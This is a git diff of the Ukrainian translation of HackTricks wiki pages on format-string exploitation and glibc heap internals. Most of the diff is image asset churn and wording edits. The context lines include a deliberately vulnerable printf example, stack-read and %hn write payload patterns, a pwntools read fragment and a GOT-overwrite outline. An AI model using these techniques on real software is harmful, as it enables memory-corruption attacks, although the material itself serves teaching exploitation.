diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 0b96b38ef..e70bceed6 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index e70bceed6..d798d9edc 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png index d798d9edc..1ec78aebd 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png index 1ec78aebd..020fb69e2 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png index 020fb69e2..e3657baf3 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png index e3657baf3..f95e8e4d5 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1).png index f95e8e4d5..9dcb86f81 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1).png index 9dcb86f81..f3314db22 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1).png index f3314db22..7a07c3343 100644 Binary files a/.gitbook/assets/image (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1).png b/.gitbook/assets/image (1) (1).png index 7a07c3343..b40c8ed4a 100644 Binary files a/.gitbook/assets/image (1) (1).png and b/.gitbook/assets/image (1) (1).png differ diff --git a/.gitbook/assets/image (1).png b/.gitbook/assets/image (1).png index b40c8ed4a..977c3f327 100644 Binary files a/.gitbook/assets/image (1).png and b/.gitbook/assets/image (1).png differ diff --git a/.gitbook/assets/image (10) (1) (1) (1) (1).png b/.gitbook/assets/image (10) (1) (1) (1) (1).png new file mode 100644 index 000000000..00fb8b946 Binary files /dev/null and b/.gitbook/assets/image (10) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (10) (1) (1) (1).png b/.gitbook/assets/image (10) (1) (1) (1).png index 00fb8b946..210d7bd3f 100644 Binary files a/.gitbook/assets/image (10) (1) (1) (1).png and b/.gitbook/assets/image (10) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (10) (1) (1).png b/.gitbook/assets/image (10) (1) (1).png index 210d7bd3f..b50bbce21 100644 Binary files a/.gitbook/assets/image (10) (1) (1).png and b/.gitbook/assets/image (10) (1) (1).png differ diff --git a/.gitbook/assets/image (10) (1).png b/.gitbook/assets/image (10) (1).png index b50bbce21..967f978dc 100644 Binary files a/.gitbook/assets/image (10) (1).png and b/.gitbook/assets/image (10) (1).png differ diff --git a/.gitbook/assets/image (10).png b/.gitbook/assets/image (10).png index 967f978dc..5fa35d5f4 100644 Binary files a/.gitbook/assets/image (10).png and b/.gitbook/assets/image (10).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png index 68b506e08..82f1650c7 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1) (1).png index 82f1650c7..176e28e26 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1) (1).png index 176e28e26..64296ef72 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1) (1).png b/.gitbook/assets/image (2) (1) (1) (1).png index 64296ef72..50038b5d5 100644 Binary files a/.gitbook/assets/image (2) (1) (1) (1).png and b/.gitbook/assets/image (2) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1) (1).png b/.gitbook/assets/image (2) (1) (1).png index 50038b5d5..9dcb86f81 100644 Binary files a/.gitbook/assets/image (2) (1) (1).png and b/.gitbook/assets/image (2) (1) (1).png differ diff --git a/.gitbook/assets/image (2) (1).png b/.gitbook/assets/image (2) (1).png index 9dcb86f81..5fa9a546e 100644 Binary files a/.gitbook/assets/image (2) (1).png and b/.gitbook/assets/image (2) (1).png differ diff --git a/.gitbook/assets/image (2).png b/.gitbook/assets/image (2).png index 5fa9a546e..ed89ddb73 100644 Binary files a/.gitbook/assets/image (2).png and b/.gitbook/assets/image (2).png differ diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png index 78abb7891..f2f640d8c 100644 Binary files a/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1) (1).png index f2f640d8c..17acb7d7e 100644 Binary files a/.gitbook/assets/image (3) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1) (1).png index 17acb7d7e..11b8e0e8c 100644 Binary files a/.gitbook/assets/image (3) (1) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1) (1) (1).png b/.gitbook/assets/image (3) (1) (1) (1).png index 11b8e0e8c..dffdfc131 100644 Binary files a/.gitbook/assets/image (3) (1) (1) (1).png and b/.gitbook/assets/image (3) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1) (1).png b/.gitbook/assets/image (3) (1) (1).png index dffdfc131..736d79e58 100644 Binary files a/.gitbook/assets/image (3) (1) (1).png and b/.gitbook/assets/image (3) (1) (1).png differ diff --git a/.gitbook/assets/image (3) (1).png b/.gitbook/assets/image (3) (1).png index 736d79e58..2a0aece08 100644 Binary files a/.gitbook/assets/image (3) (1).png and b/.gitbook/assets/image (3) (1).png differ diff --git a/.gitbook/assets/image (3).png b/.gitbook/assets/image (3).png index 2a0aece08..c28b6f1d6 100644 Binary files a/.gitbook/assets/image (3).png and b/.gitbook/assets/image (3).png differ diff --git a/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1).png index bc4b76df1..ffd8adf04 100644 Binary files a/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1).png index ffd8adf04..ee3722524 100644 Binary files a/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (4) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (4) (1) (1) (1) (1) (1).png index ee3722524..92ceed745 100644 Binary files a/.gitbook/assets/image (4) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (4) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (4) (1) (1) (1) (1).png b/.gitbook/assets/image (4) (1) (1) (1) (1).png index 92ceed745..4c7c93f13 100644 Binary files a/.gitbook/assets/image (4) (1) (1) (1) (1).png and b/.gitbook/assets/image (4) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (4) (1) (1) (1).png b/.gitbook/assets/image (4) (1) (1) (1).png index 4c7c93f13..fc56a6956 100644 Binary files a/.gitbook/assets/image (4) (1) (1) (1).png and b/.gitbook/assets/image (4) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (4) (1) (1).png b/.gitbook/assets/image (4) (1) (1).png index fc56a6956..645f58c3e 100644 Binary files a/.gitbook/assets/image (4) (1) (1).png and b/.gitbook/assets/image (4) (1) (1).png differ diff --git a/.gitbook/assets/image (4) (1).png b/.gitbook/assets/image (4) (1).png index 645f58c3e..2ff839cf1 100644 Binary files a/.gitbook/assets/image (4) (1).png and b/.gitbook/assets/image (4) (1).png differ diff --git a/.gitbook/assets/image (4).png b/.gitbook/assets/image (4).png index 2ff839cf1..bf3f22e32 100644 Binary files a/.gitbook/assets/image (4).png and b/.gitbook/assets/image (4).png differ diff --git a/.gitbook/assets/image (5) (1) (1) (1) (1).png b/.gitbook/assets/image (5) (1) (1) (1) (1).png index b2c2c3d26..70413c7ff 100644 Binary files a/.gitbook/assets/image (5) (1) (1) (1) (1).png and b/.gitbook/assets/image (5) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (5) (1) (1) (1).png b/.gitbook/assets/image (5) (1) (1) (1).png index 70413c7ff..e7f03abf8 100644 Binary files a/.gitbook/assets/image (5) (1) (1) (1).png and b/.gitbook/assets/image (5) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (5) (1) (1).png b/.gitbook/assets/image (5) (1) (1).png index e7f03abf8..ec0ab0837 100644 Binary files a/.gitbook/assets/image (5) (1) (1).png and b/.gitbook/assets/image (5) (1) (1).png differ diff --git a/.gitbook/assets/image (5) (1).png b/.gitbook/assets/image (5) (1).png index ec0ab0837..35fb63c4e 100644 Binary files a/.gitbook/assets/image (5) (1).png and b/.gitbook/assets/image (5) (1).png differ diff --git a/.gitbook/assets/image (5).png b/.gitbook/assets/image (5).png index 35fb63c4e..4aa826f34 100644 Binary files a/.gitbook/assets/image (5).png and b/.gitbook/assets/image (5).png differ diff --git a/.gitbook/assets/image (6) (1) (1) (1) (1).png b/.gitbook/assets/image (6) (1) (1) (1) (1).png new file mode 100644 index 000000000..3646dc3f3 Binary files /dev/null and b/.gitbook/assets/image (6) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (6) (1) (1) (1).png b/.gitbook/assets/image (6) (1) (1) (1).png index 3646dc3f3..e5ab74cb8 100644 Binary files a/.gitbook/assets/image (6) (1) (1) (1).png and b/.gitbook/assets/image (6) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (6) (1) (1).png b/.gitbook/assets/image (6) (1) (1).png index e5ab74cb8..862b51b61 100644 Binary files a/.gitbook/assets/image (6) (1) (1).png and b/.gitbook/assets/image (6) (1) (1).png differ diff --git a/.gitbook/assets/image (6) (1).png b/.gitbook/assets/image (6) (1).png index 862b51b61..43f76e523 100644 Binary files a/.gitbook/assets/image (6) (1).png and b/.gitbook/assets/image (6) (1).png differ diff --git a/.gitbook/assets/image (6).png b/.gitbook/assets/image (6).png index 43f76e523..c8e4824db 100644 Binary files a/.gitbook/assets/image (6).png and b/.gitbook/assets/image (6).png differ diff --git a/.gitbook/assets/image (7) (1) (1) (1) (1).png b/.gitbook/assets/image (7) (1) (1) (1) (1).png index 7510b6e7e..13854046c 100644 Binary files a/.gitbook/assets/image (7) (1) (1) (1) (1).png and b/.gitbook/assets/image (7) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (7) (1) (1) (1).png b/.gitbook/assets/image (7) (1) (1) (1).png index 13854046c..511d74528 100644 Binary files a/.gitbook/assets/image (7) (1) (1) (1).png and b/.gitbook/assets/image (7) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (7) (1) (1).png b/.gitbook/assets/image (7) (1) (1).png index 511d74528..6b5ed45a3 100644 Binary files a/.gitbook/assets/image (7) (1) (1).png and b/.gitbook/assets/image (7) (1) (1).png differ diff --git a/.gitbook/assets/image (7) (1).png b/.gitbook/assets/image (7) (1).png index 6b5ed45a3..1ecf1f881 100644 Binary files a/.gitbook/assets/image (7) (1).png and b/.gitbook/assets/image (7) (1).png differ diff --git a/.gitbook/assets/image (7).png b/.gitbook/assets/image (7).png index 1ecf1f881..1a0d0a962 100644 Binary files a/.gitbook/assets/image (7).png and b/.gitbook/assets/image (7).png differ diff --git a/.gitbook/assets/image (8) (1) (1) (1) (1).png b/.gitbook/assets/image (8) (1) (1) (1) (1).png new file mode 100644 index 000000000..6c2c20ea1 Binary files /dev/null and b/.gitbook/assets/image (8) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (8) (1) (1) (1).png b/.gitbook/assets/image (8) (1) (1) (1).png index 6c2c20ea1..4464dc171 100644 Binary files a/.gitbook/assets/image (8) (1) (1) (1).png and b/.gitbook/assets/image (8) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (8) (1) (1).png b/.gitbook/assets/image (8) (1) (1).png index 4464dc171..f3c1e1e90 100644 Binary files a/.gitbook/assets/image (8) (1) (1).png and b/.gitbook/assets/image (8) (1) (1).png differ diff --git a/.gitbook/assets/image (8) (1).png b/.gitbook/assets/image (8) (1).png index f3c1e1e90..74e74b70b 100644 Binary files a/.gitbook/assets/image (8) (1).png and b/.gitbook/assets/image (8) (1).png differ diff --git a/.gitbook/assets/image (8).png b/.gitbook/assets/image (8).png index 74e74b70b..ae6e0de9a 100644 Binary files a/.gitbook/assets/image (8).png and b/.gitbook/assets/image (8).png differ diff --git a/.gitbook/assets/image (9) (1) (1) (1) (1).png b/.gitbook/assets/image (9) (1) (1) (1) (1).png new file mode 100644 index 000000000..2c0467343 Binary files /dev/null and b/.gitbook/assets/image (9) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (9) (1) (1) (1).png b/.gitbook/assets/image (9) (1) (1) (1).png index 2c0467343..a3d5f99f0 100644 Binary files a/.gitbook/assets/image (9) (1) (1) (1).png and b/.gitbook/assets/image (9) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (9) (1) (1).png b/.gitbook/assets/image (9) (1) (1).png index a3d5f99f0..3530fa487 100644 Binary files a/.gitbook/assets/image (9) (1) (1).png and b/.gitbook/assets/image (9) (1) (1).png differ diff --git a/.gitbook/assets/image (9) (1).png b/.gitbook/assets/image (9) (1).png index 3530fa487..b415d20a6 100644 Binary files a/.gitbook/assets/image (9) (1).png and b/.gitbook/assets/image (9) (1).png differ diff --git a/.gitbook/assets/image (9).png b/.gitbook/assets/image (9).png index b415d20a6..367b6e347 100644 Binary files a/.gitbook/assets/image (9).png and b/.gitbook/assets/image (9).png differ diff --git a/.gitbook/assets/image.png b/.gitbook/assets/image.png index 5fa35d5f4..0b2fb1ac2 100644 Binary files a/.gitbook/assets/image.png and b/.gitbook/assets/image.png differ diff --git a/binary-exploitation/format-strings/README.md b/binary-exploitation/format-strings/README.md index 76b116a79..57c095fbc 100644 --- a/binary-exploitation/format-strings/README.md +++ b/binary-exploitation/format-strings/README.md @@ -1,8 +1,8 @@ # Форматні рядки {% hint style="success" %} -Вивчайте та практикуйте AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Вивчайте та практикуйте GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Вивчайте та практикуйте AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Вивчайте та практикуйте GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -10,21 +10,20 @@ * Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)! * **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub. +* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
{% endhint %} -
+
Якщо ви зацікавлені в **кар'єрі в хакерстві** та хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_). {% embed url="https://www.stmcyber.com/careers" %} - ## Основна інформація -У C **`printf`** - це функція, яка може бути використана для **виведення** деякого рядка. **Перший параметр**, який очікує ця функція, - це **сирий текст з форматерами**. **Наступні параметри** - це **значення**, які потрібно **замінити** на **форматери** з сирого тексту. +У C **`printf`** - це функція, яка може бути використана для **виведення** деякого рядка. **Перший параметр**, який очікує ця функція, - це **сирий текст з форматерами**. **Наступні параметри**, які очікуються, - це **значення** для **заміни** **форматерів** з сирого тексту. Інші вразливі функції - це **`sprintf()`** та **`fprintf()`**. @@ -49,7 +48,7 @@ char buffer[30]; gets(buffer); // Dangerous: takes user input without restrictions. printf(buffer); // If buffer contains "%x", it reads from the stack. ``` -* Звичайне використання: +* Нормальне використання: ```c int value = 1205; printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5 @@ -73,7 +72,7 @@ return 0; ``` ### **Доступ до вказівників** -Формат **`%$x`**, де `n` - це число, дозволяє вказати printf вибрати n параметр (з стеку). Тож, якщо ви хочете прочитати 4-й параметр зі стеку, використовуючи printf, ви можете зробити: +Формат **`%$x`**, де `n` - це число, дозволяє вказати printf вибрати n параметр (з стеку). Отже, якщо ви хочете прочитати 4-й параметр зі стеку, використовуючи printf, ви можете зробити: ```c printf("%x %x %x %x") ``` @@ -88,12 +87,12 @@ printf("%4$x") Зверніть увагу, що атакуючий контролює параметр `printf`, **що в основному означає, що** його введення буде в стеку, коли викликається `printf`, що означає, що він може записувати конкретні адреси пам'яті в стек. {% hint style="danger" %} -Атакуючий, який контролює цей ввід, зможе **додати довільну адресу в стек і змусити `printf` отримати доступ до них**. У наступному розділі буде пояснено, як використовувати цю поведінку. +Атакуючий, що контролює цей ввід, зможе **додати довільну адресу в стек і змусити `printf` отримати доступ до них**. У наступному розділі буде пояснено, як використовувати цю поведінку. {% endhint %} ## **Довільне Читання** -Можливо використовувати форматер **`%n$s`**, щоб змусити **`printf`** отримати **адресу**, що знаходиться в **n позиції**, слідуючи за ним, і **друкувати її так, ніби це рядок** (друкувати до знаходження 0x00). Отже, якщо базова адреса бінарного файлу **`0x8048000`**, і ми знаємо, що введення користувача починається з 4-ї позиції в стеці, можливо надрукувати початок бінарного файлу за допомогою: +Можливо використовувати форматер **`%n$s`**, щоб змусити **`printf`** отримати **адресу**, що знаходиться в **n позиції**, слідуючи за ним, і **друкувати її так, ніби це рядок** (друкувати, поки не буде знайдено 0x00). Отже, якщо базова адреса бінарного файлу **`0x8048000`**, і ми знаємо, що введення користувача починається з 4-ї позиції в стеці, можливо надрукувати початок бінарного файлу за допомогою: ```python from pwn import * @@ -179,7 +178,7 @@ AAAA.%500\$08x —> Param at offset 500 * **HOB** називається для 2 вищих байтів адреси * **LOB** називається для 2 нижчих байтів адреси -Потім, через те, як працює формат рядка, вам потрібно **спочатку записати найменший** з \[HOB, LOB\], а потім інший. +Потім, через те, як працює формат рядка, вам потрібно **спочатку записати найменший** з \[HOB, LOB] і потім інший. Якщо HOB < LOB\ `[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` @@ -238,21 +237,19 @@ p.interactive() * [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html) * 32 біт, relro, без canary, nx, без pie, форматний рядок для запису адреси всередині main в `.fini_array` (щоб потік повертався ще раз) і запису адреси до `system` в таблиці GOT, що вказує на `strlen`. Коли потік повертається до main, `strlen` виконується з введенням користувача і вказує на `system`, він виконає передані команди. -
+
-Якщо вас цікавить **кар'єра в хакерстві** і ви хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_). +Якщо ви зацікавлені в **кар'єрі в хакерстві** та хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_). {% embed url="https://www.stmcyber.com/careers" %} {% hint style="success" %} -Вчіться та практикуйте AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Вчіться та практикуйте GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Вчіться та практикуйте AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Вчіться та практикуйте GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) -Підтримайте HackTricks +Підтримка HackTricks * Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)! * **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub. - - +* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github. {% endhint %} diff --git a/binary-exploitation/libc-heap/README.md b/binary-exploitation/libc-heap/README.md index fd102c621..c6049dd09 100644 --- a/binary-exploitation/libc-heap/README.md +++ b/binary-exploitation/libc-heap/README.md @@ -27,9 +27,9 @@ У **багатопотокових** додатках менеджер хіпу повинен запобігати **умовам гонки**, які можуть призвести до збоїв. Спочатку це робилося за допомогою **глобального м'ютекса**, щоб забезпечити доступ до хіпу лише одного потоку в один момент часу, але це викликало **проблеми з продуктивністю** через вузьке місце, викликане м'ютексом. -Щоб вирішити цю проблему, аллокатор хіпу ptmalloc2 ввів "арени", де **кожна арена** діє як **окремий хіп** зі своїми **власними** структурами **даних** та **м'ютексом**, що дозволяє кільком потокам виконувати операції з хіпом без перешкоджання один одному, якщо вони використовують різні арени. +Щоб вирішити цю проблему, аллокатор хіпу ptmalloc2 ввів "арени", де **кожна арена** діє як **окремий хіп** зі своїми **власними** структурами **даних** та **м'ютексом**, що дозволяє кільком потокам виконувати операції з хіпом без перешкод один одному, якщо вони використовують різні арени. -За замовчуванням "основна" арена обробляє операції з хіпом для однопотокових додатків. Коли **додаються нові потоки**, менеджер хіпу призначає їм **вторинні арени**, щоб зменшити конкуренцію. Спочатку він намагається приєднати кожен новий потік до невикористаної арени, створюючи нові, якщо це необхідно, до межі 2 разів від кількості ядер ЦП для 32-бітних систем і 8 разів для 64-бітних систем. Коли межа досягається, **потоки повинні ділити арени**, що може призвести до потенційної конкуренції. +За замовчуванням "основна" арена обробляє операції з хіпом для однопотокових додатків. Коли **додаються нові потоки**, менеджер хіпу призначає їм **вторинні арени**, щоб зменшити конкуренцію. Спочатку він намагається приєднати кожен новий потік до невикористаної арени, створюючи нові, якщо це необхідно, до межі 2 рази кількості ядер ЦП для 32-бітних систем і 8 разів для 64-бітних систем. Коли межа досягається, **потоки повинні ділити арени**, що може призвести до потенційної конкуренції. На відміну від основної арени, яка розширюється за допомогою системного виклику `brk`, вторинні арени створюють "підхіпи" за допомогою `mmap` та `mprotect`, щоб імітувати поведінку хіпу, що дозволяє гнучко управляти пам'яттю для багатопотокових операцій. @@ -45,7 +45,7 @@ * За замовчуванням резервований розмір для підхіпу становить 1 МБ для 32-бітних процесів і 64 МБ для 64-бітних процесів. 3. **Поступове Розширення з `mprotect`**: * Резервована область пам'яті спочатку позначена як `PROT_NONE`, що вказує на те, що ядро не повинно виділяти фізичну пам'ять для цього простору поки що. -* Щоб "зрости" підхіп, менеджер хіпу використовує `mprotect`, щоб змінити дозволи сторінок з `PROT_NONE` на `PROT_READ | PROT_WRITE`, спонукаючи ядро виділити фізичну пам'ять для раніше зарезервованих адрес. Цей покроковий підхід дозволяє підхіпу розширюватися за потреби. +* Щоб "збільшити" підхіп, менеджер хіпу використовує `mprotect`, щоб змінити дозволи сторінок з `PROT_NONE` на `PROT_READ | PROT_WRITE`, спонукаючи ядро виділити фізичну пам'ять для раніше зарезервованих адрес. Цей покроковий підхід дозволяє підхіпу розширюватися за потреби. * Як тільки весь підхіп вичерпується, менеджер хіпу створює новий підхіп для продовження алокації. ### heap\_info @@ -70,13 +70,13 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK]; ``` ### malloc\_state -**Кожен купа** (основна арена або арени інших потоків) має **структуру `malloc_state`.**\ +**Кожна купа** (основна арена або арени інших потоків) має **структуру `malloc_state`.**\ Важливо зазначити, що **структура `malloc_state` основної арени** є **глобальною змінною в libc** (отже, розташована в пам'яті libc).\ У випадку **структур `malloc_state` куп потоків, вони розташовані **всередині власної "купи" потоку**. Є кілька цікавих моментів, які варто відзначити з цієї структури (див. код C нижче): -* `__libc_lock_define (, mutex);` Призначено для забезпечення того, щоб до цієї структури з купи отримував доступ лише 1 потік одночасно +* `__libc_lock_define (, mutex);` Призначена для забезпечення доступу до цієї структури з купи лише з одного потоку одночасно * Прапори: * ```c #define NONCONTIGUOUS_BIT (2U) @@ -86,7 +86,7 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK]; #define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT) #define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT) ``` -* `mchunkptr bins[NBINS * 2 - 2];` містить **вказівники** на **перший і останній шматки** малих, великих і неупорядкованих **бінів** (мінус 2, оскільки індекс 0 не використовується) +* `mchunkptr bins[NBINS * 2 - 2];` містить **вказівники** на **перший і останній шматки** малих, великих і незасортованих **бінів** (мінус 2, оскільки індекс 0 не використовується) * Отже, **перший шматок** цих бінів матиме **зворотний вказівник на цю структуру**, а **останній шматок** цих бінів матиме **прямий вказівник** на цю структуру. Це в основному означає, що якщо ви зможете **викрити ці адреси в основній арені**, ви отримаєте вказівник на структуру в **libc**. * Структури `struct malloc_state *next;` і `struct malloc_state *next_free;` є зв'язаними списками арен * Шматок `top` є останнім "шматком", який в основному є **всією залишковою пам'яттю купи**. Як тільки верхній шматок "порожній", купа повністю використана, і потрібно запитати більше місця. @@ -258,13 +258,13 @@ req = (req + (__MTAG_GRANULE_SIZE - 1)) & return request2size (req); } ``` -Зверніть увагу, що для обчислення загального необхідного простору `SIZE_SZ` додається лише 1 раз, оскільки поле `prev_size` може використовуватися для зберігання даних, тому потрібен лише початковий заголовок. +Зверніть увагу, що для розрахунку загального необхідного простору `SIZE_SZ` додається лише 1 раз, оскільки поле `prev_size` може використовуватися для зберігання даних, тому потрібен лише початковий заголовок. -### Отримати дані фрагмента та змінити метадані +### Отримати дані шматка та змінити метадані -Ці функції працюють, отримуючи вказівник на фрагмент, і корисні для перевірки/встановлення метаданих: +Ці функції працюють, отримуючи вказівник на шматок, і корисні для перевірки/встановлення метаданих: -* Перевірити прапори фрагмента +* Перевірити прапори шматка ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c @@ -327,7 +327,7 @@ people extending or adapting this malloc. /* Treat space at ptr + offset as a chunk */ #define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s))) ``` -* Інсуюча біт +* Insue bit ```c /* extract p's inuse bit */ #define inuse(p) \ @@ -362,7 +362,7 @@ people extending or adapting this malloc. /* Set size at footer (only when chunk is not in use) */ #define set_foot(p, s) (((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s)) ``` -* Отримати розмір реальних використовуваних даних всередині блоку +* Отримайте розмір реальних використовуваних даних всередині блоку ```c #pragma GCC poison mchunk_size #pragma GCC poison mchunk_prev_size @@ -395,7 +395,7 @@ return ptr; ### Швидкий приклад купи -Швидкий приклад купи з 